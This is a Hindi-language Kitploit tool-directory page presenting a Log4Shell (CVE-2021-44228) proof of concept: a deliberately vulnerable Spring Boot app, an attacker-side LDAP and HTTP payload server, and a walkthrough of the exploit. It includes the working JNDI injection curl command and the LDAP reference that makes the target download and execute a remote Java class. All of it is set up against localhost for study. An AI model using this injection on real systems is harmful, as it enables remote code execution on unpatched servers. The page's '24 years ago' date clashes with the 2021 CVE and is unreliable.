Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
log4j2-exploit — log4j2 Log4Shell CVE-2021-44228 अवधारणा प्रमाण | Kitploit
उपकरण/GitHubGitHub/spasam/log4j2-exploit
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षापेलोड डेवलपमेंट
GitHubspasam/log4j2-exploit

log4j2-exploit

log4j2 Log4Shell CVE-2021-44228 अवधारणा प्रमाण

रिपॉजिटरी देखें
24 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

Log4Shell CVE-2021-44228 का प्रूफ ऑफ कॉन्सेप्ट

आवश्यकता

  • जावा (JDK/JRE) 8 या बाद का संस्करण
  • curl

exploitable

एक सरल स्प्रिंग बूट एप्लिकेशन जो उपयोगकर्ता और पासवर्ड के साथ एक लॉगिन पेज प्रस्तुत करता है। जब POST के माध्यम से / पर भेजा जाता है तो यह उपयोगकर्ता नाम को लॉग करता है। एप्लिकेशन के लिए किसी भी उपयोगकर्ता द्वारा प्रदान किए गए इनपुट को लॉग करना आवश्यक नहीं है। एक्सेस लॉगिंग को सक्षम करना जो log4j2 के कमजोर संस्करण का उपयोग करता है, पर्याप्त है।

कैसे चलाएं:

root@kitploit:~
cd exploitable
../mvnw -q spring-boot:run

डिफ़ॉल्ट रूप से यह पोर्ट 8080 पर सुनता है। यदि आप ब्राउज़र में http://localhost:8080/ हिट करते हैं तो आपको कुछ इस प्रकार दिखना चाहिए:

pom.xml में आप JVM प्रॉपर्टी देखेंगे:

-Dcom.sun.jndi.ldap.object.trustURLCodebase=true

पुराने JDK संस्करणों में यह आवश्यक नहीं है। डिफ़ॉल्ट को false में बदल दिया गया: JDK 11.0.1, 8u191, 7u201, और 6u211 में। इस प्रॉपर्टी के बिना भी, एप्लिकेशन प्रारंभिक LDAP अनुरोधों के लिए कमजोर है जो संवेदनशील डेटा को बाहर निकाल सकते हैं।

hacker

हैकर एप्लिकेशन जो दो उद्देश्यों को पूरा करता है:

  • कमजोर पेलोड प्रदान करने के लिए पोर्ट 9090 पर HTTP सर्वर शुरू करता है
  • पोर्ट 1389 पर इन-मेमोरी LDAP सर्वर शुरू करता है

कैसे चलाएं:

root@kitploit:~
cd hacker
../mvnw -q spring-boot:run

pom.xml में आप कमजोर एप्लिकेशन को भेजे जाने वाले डिफ़ॉल्ट पेलोड को बदल सकते हैं:

--class=SayHello डिफ़ॉल्ट है जिसका अर्थ है कि यह SayHello.class को पेलोड के रूप में भेजता है।

कैसे एक्सप्लॉइट करें

कमजोर एप्लिकेशन को curl अनुरोध भेजें, जिसमें उपयोगकर्ता द्वारा प्रदान किए गए इनपुट (उपयोगकर्ता नाम) में से एक में हैकर LDAP सर्वर का संदर्भ हो:

root@kitploit:~
curl -d "user=\${jndi:ldap://127.0.0.1:1389}" http://localhost:8080/

कमजोर एप्लिकेशन कंसोल में, आपको कुछ इस प्रकार दिखना चाहिए:

अंदर की बात

  • हमलावर ने उपयोगकर्ता इनपुट फ़ील्ड में से एक को ${jndi:ldap://127.0.0.1:1389} के रूप में भेजा
  • कमजोर एप्लिकेशन में एम्बेडेड कमजोर log4j2 127.0.0.1:1389 को LDAP अनुरोध करता है
  • इसे प्रतिक्रिया के रूप में निम्नलिखित प्राप्त होता है:
    root@kitploit:~
    dn:
    objectClass: javaNamingReference
    javaClassName: SayHello
    javaCodeBase: http://127.0.0.1:9090/
    javaFactory: SayHello
    
  • एप्लिकेशन http://127.0.0.1:9090/SayHello.class से पेलोड क्लास प्राप्त करने का प्रयास करता है
  • हैकर सर्वर बाइनरी SayHello.class बाइट्स लौटाता है
  • एप्लिकेशन पेलोड क्लास में getObjectInstance मेथड को निष्पादित करता है

नोट

प्रारंभिक LDAP अनुरोध और संभावित रूप से पेलोड जावा क्लास के डाउनलोड के बाद, पेलोड के लिए किसी प्रक्रिया को फोर्क करना या इंटरनेट पर कोई अतिरिक्त कनेक्शन बनाना आवश्यक नहीं है। आमतौर पर इस प्रकार के पेलोड को EDR उत्पादों आदि द्वारा आसानी से पहचाना जा सकता है। मुझे संदेह है कि नए पेलोड को पता लगाने से बचने के लिए मूल रूप से जावा में लागू किया जाएगा।

टूल डाउनलोड करें